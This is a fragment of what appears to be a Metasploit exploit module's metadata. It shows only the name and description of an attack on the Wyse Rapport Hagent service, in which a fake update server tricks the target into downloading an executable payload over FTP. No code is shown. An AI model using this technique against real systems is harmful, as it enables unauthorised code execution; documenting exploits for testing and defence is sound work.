'Name' => 'Wyse Rapport Hagent Fake Hserver Command Execution',
'Description' => %q{
This module exploits the Wyse Rapport Hagent service by pretending to
be a legitimate server. This process involves starting both HTTP and
FTP services on the attacker side, then contacting the Hagent service of
the target and indicating that an update is available. The target will
then download the payload wrapped in an executable from the FTP service.
